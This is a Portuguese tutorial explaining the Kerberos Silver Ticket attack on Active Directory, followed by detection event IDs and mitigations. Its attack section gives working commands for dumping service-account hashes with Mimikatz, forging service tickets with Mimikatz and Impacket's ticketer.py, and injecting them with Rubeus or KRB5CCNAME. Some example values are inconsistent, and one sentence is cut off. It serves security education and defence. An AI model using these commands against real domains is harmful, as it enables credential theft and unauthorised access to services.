O Silver Ticket Attack é um tipo de ataque cibernético que explora vulnerabilidades no protocolo Kerberos, amplamente utilizado para autenticação em ambientes Microsoft Active Directory (AD). Embora menos conhecido do que o Golden Ticket Attack, ele é extremamente perigoso, pois permite que um atacante obtenha acesso persistente a serviços específicos sem a necessidade de comprometer o controlador de domínio.
1. Por que o Silver Ticket Attack é tão perigoso?
Para alta gestão e iniciantes em segurança, é essencial compreender a gravidade do Silver Ticket Attack. Diferente do Golden Ticket, que permite acesso irrestrito ao ambiente AD, o Silver Ticket oferece uma abordagem mais discreta e menos detectável. Esse ataque compromete apenas um serviço específico (como o SQL Server, File Server, Exchange, SharePoint, entre outros) e, ao fazer isso, evita interações diretas com o controlador de domínio. Como resultado, ferramentas de monitoramento centralizado podem não capturar sinais claros de uma invasão.
Ademais, o Silver Ticket Attack permite que o atacante se mantenha dentro da rede por longos períodos sem levantar suspeitas, abrindo caminho para movimentos laterais e persistência em ambientes corporativos de grande porte.
2. Silver Ticket Attack: Deep Dive
2.1. MITRE ATT&CK
O Silver Ticket está presente no framework MITRE ATT&ACK na sessão Steal or Forge Kerberos Tickets: Silver Ticket (T1558). A subtecnica do Silver Ticket em si é abordada como Silver Ticket (T1558.002).
2.2. O Funcionamento do Kerberos no Active Directory
Antes de entender o ataque, é importante compreender o funcionamento do protocolo Kerberos:
- Autenticação Inicial (AS-REQ / AS-REP): O usuário solicita um Ticket Granting Ticket (TGT) ao Key Distribution Center (KDC). Se autenticado, recebe um TGT assinado pela conta krbtgt.
- Solicitação de Serviço (TGS-REQ / TGS-REP): O usuário apresenta o TGT e solicita um TGS (Ticket Granting Service) para acessar um serviço específico (como SQL Server ou SharePoint).
- Acesso ao Serviço: O usuário apresenta o TGS ao serviço de destino, que confia nele sem consultar o KDC.
O ataque Silver Ticket foca na segunda etapa desse processo, permitindo que um invasor crie um TGS falso.
3. Como funciona o ataque
O ataque Silver Ticket se baseia no comprometimento de um hash NTLM da senha de uma conta de serviço e na sua exploração para forjar um Ticket Granting Service (TGS). Ao contrário do Golden Ticket, que envolve a conta krbtgt do controlador de domínio, o Silver Ticket explora hashes de contas de serviço individuais, facilitando a emissão de credenciais falsas para um serviço específico. Abaixo segue os passos:
- Obter hash NTLM – O atacante precisa obter o hash NTLM da conta de serviço alvo.
- Gerar o Silver Ticket – Com o hash em mãos, o invasor cria um TGS falso.
- Usar o Silver Ticket para Acesso – O ticket falso é utilizado para autenticação e acesso ao serviço comprometido.
Relembrando: Diferente do Golden Ticket, que exige comprometimento da conta krbtgt, o Silver Ticket apenas precisa do hash da conta de serviço (como MSSQLSvc, CIFS, HTTP).
4. Ferramentas e Técnicas
Aviso: Este conteúdo tem propósitos exclusivamente educacionais e deve ser utilizado para aprimorar a segurança da infraestrutura corporativa.
- Mimikatz (https://github.com/gentilkiwi/mimikatz)
- Rubeus (https://github.com/GhostPack/Rubeus)
- Impacket (https://github.com/SecureAuthCorp/impacket)
4.1. Mimikatz
Para obter o hash NTLM da conta de serviço podem ser usados as seguintes técnicas:
- Pass-the-Hash (PtH): Se um atacante comprometer um sistema onde a conta de serviço foi usada, pode extrair seu hash. Para mais detalhes, clique aqui para ler meu artigo sobre o tema.
- Kerberoasting: O atacante solicita um TGS para um serviço exposto e quebra o hash offline para recuperar as credenciais. Para mais detalhes, clique aqui para ler meu artigo sobre o tema.
4.1.1. Primeiro passo: Obter Hash NTLM da conta de serviço
Pass-the-Hash (PtH): Se um atacante comprometer um sistema onde a conta de serviço foi usada, pode extrair seu hash. Para mais detalhes, clique aqui para ler meu artigo sobre o tema. Abaixo segue o comando
mimikatz # sekurlsa::logonpasswords
Caso o atacante tenha acesso ao AD, pode usar o DCSync para a obtenção do hash, contudo essa atividade pode ser detectada.
mimikatz # lsadump::dcsync /user:<conta_de_serviço>
4.1.2. Segundo passo: Gerar o Silver Ticket
Com o hash NTLM obtido, o invasor pode gerar um TGS falso:
mimikatz # kerberos::golden /domain:<domínio> /sid:<SID_do_domínio> /target:<servidor> /service:<serviço> /rc4:<hash_NTLM> /user:<usuário> /ptt
Parâmetros importantes:
/user:
→ Nome do usuário para quem o ticket será criado./rc4:
→ NTLM hash da conta de serviço./domain:
→ Nome do domínio./sid:
→ SID do domínio (pode ser obtido comwhoami /user
)./service:
→ O serviço alvo (por exemplo,cifs
para compartilhamentos SMB,http
para IIS, etc.)./target:
→ Nome do servidor onde o serviço está rodando./ptt
→ Injeta diretamente o ticket na sessão do usuário.
4.1.3. Terceiro passo: Usar o Silver Ticket para acesso
O ticket pode ser injetado no contexto do processo atual:
klist purge
mimikatz # kerberos::ptt <ticket_gerado>
klist
Com isso, o atacante tem acesso ao serviço comprometido sem precisar se autenticar novamente.
4.2. Impacket
O Impacket, é uma ferramenta poderosa que permite a criação de Silver Tickets no Kerberos. Dentro dele existe o ticketer.py. que permite e emissão de tickets forjados.
4.2.1. Primeiro passo: Obter Hash NTLM da conta de serviço
Antes de gerar um Silver Ticket se faz necessário algumas informações:
- NTLM hash da conta de serviço que protege o serviço-alvo. Esse hash pode ser obtido através de ataques como Kerberoasting ou Pass-the-Hash
- Nome do domínio ao qual o serviço pertence.
- Nome do usuário-alvo (caso esteja falsificando uma identidade específica).
- Nome do serviço-alvo (por exemplo,
cifs
,http
,mssqlsvc
). - Nome do servidor que hospeda o serviço.
Abaixo segue o comando:
mimikatz # sekurlsa::logonpasswords
Caso o atacante tenha acesso ao AD, pode usar o DCSync para a obtenção do hash, contudo essa atividade pode ser detectada.
mimikatz # lsadump::dcsync /user:<conta_de_serviço>
4.2.2. Segundo passo: Gerar o Silver Ticket
Com o hash NTLM obtido, o invasor pode gerar um TGS falso:
python3 ticketer.py -nthash <HASH_NTLM> -domain <DOMINIO> -sid <SID> -spn <SERVIÇO/NOME_DO_HOST> <USUARIO>
Parâmetros importantes:
- Conta de Serviço:
svc-sql
- Domínio:
domain.corp
- SID do Domínio:
S-1-5-21-123456789-987654321-543210987
- NTLM Hash da Conta de Serviço:
aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
- Nome do Servidor:
sqlserver.domain.corp
- Serviço Alvo:
mssqlsvc
- Nome do Usuário Falso:
Jhon.Wick
O comando para criar um Silver Ticket seria:
python3 ticketer.py -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 \ -domain corp.local -sid S-1-5-21-123456789-987654321-543210987 \ -spn mssqlsvc/sqlserver.corp.local Jhon.Wick
Após executar esse comando, um arquivo de bilhete Kerberos (.ccache
) será gerado.
4.2.3. Terceiro passo: Usar o Silver Ticket para acesso
Depois de gerar o Silver Ticket, ele precisa ser carregado na sessão do atacante para ser usado em autenticações.
Carregando o Ticket no Linux
No Linux, use o KRB5CCNAME
para carregar o ticket na variável de ambiente:
export KRB5CCNAME=hacker.ccache
Depois, use ferramentas como mssqlclient.py
para tentar acessar o serviço:
python3 mssqlclient.py -windows-auth domain.corp/jhon.wick@sqlserver.domain.corp
Carregando o Ticket no Windows
No Windows, a ferramenta Rubeus pode ser usada para injetar o bilhete:
.\Rubeus.exe ptt /ticket:hacker.ccache
Após a injeção, você pode acessar o serviço via PowerShell ou outras ferramentas que suportam autenticação Kerberos.
Se o ataque for bem-sucedido, o usuário forjado terá acesso ao serviço específico, mesmo sem um Ticket Granting Ticket (TGT) válido.
Por exemplo, para acessar um compartilhamento de arquivos em Windows:
net use \\sqlserver.corp.local\C$
Se um Silver Ticket para MSSQL foi gerado corretamente, o atacante pode executar consultas SQL sem autenticação adiciona
5. Detecção
Como o Silver Ticket Attack não requer comunicação com o Domain Controller, ele é difícil de detectar. Algumas estratégias de defesa incluem:
- Monitoramento de eventos de autenticação Kerberos nos servidores-alvo.
- Detecção de usuários acessando serviços sem TGT correspondente no DC.
- Auditoria do Event ID 4769 (Falhas de solicitação de TGS)
- Auditoria do Event ID 4624 (Logons suspeitos com TGS)
- Uso de SIEM para implementar regras de correlação para detectar solicitações de TGS incomuns e acessos sem autenticação.
6. Como mitigar um ataque do tipo Silver Ticket
- Habilitar o enforcement de AES para Kerberos
- Utilizar AES no lugar de RC4 minimiza riscos, pois RC4 permite ataques com hash NTLM.
- Rotacionar senhas de contas de serviço periodicamente
- Uso de senhas longas e complexas reduz a viabilidade do ataque.
- Implementar Proteção de Credenciais
- Group Managed Service Accounts (gMSAs) ajudam a mitigar esse ataque.
- Monitoramento Contínuo
- Utilizar ferramentas como Microsoft Defender for Identity, Splunk, ELK Stack para detectar atividades suspeitas.
- Aplicar Conscientização e Hardening de AD (AD Tier)
- Restrinja o acesso a contas de serviço sensíveis e monitore logs regularmente.
- Habilitação de assinatura SMB e LDAP
- Habilitar esse recurso evitar autenticação sem verificação quando se fala de SMB ou ldap.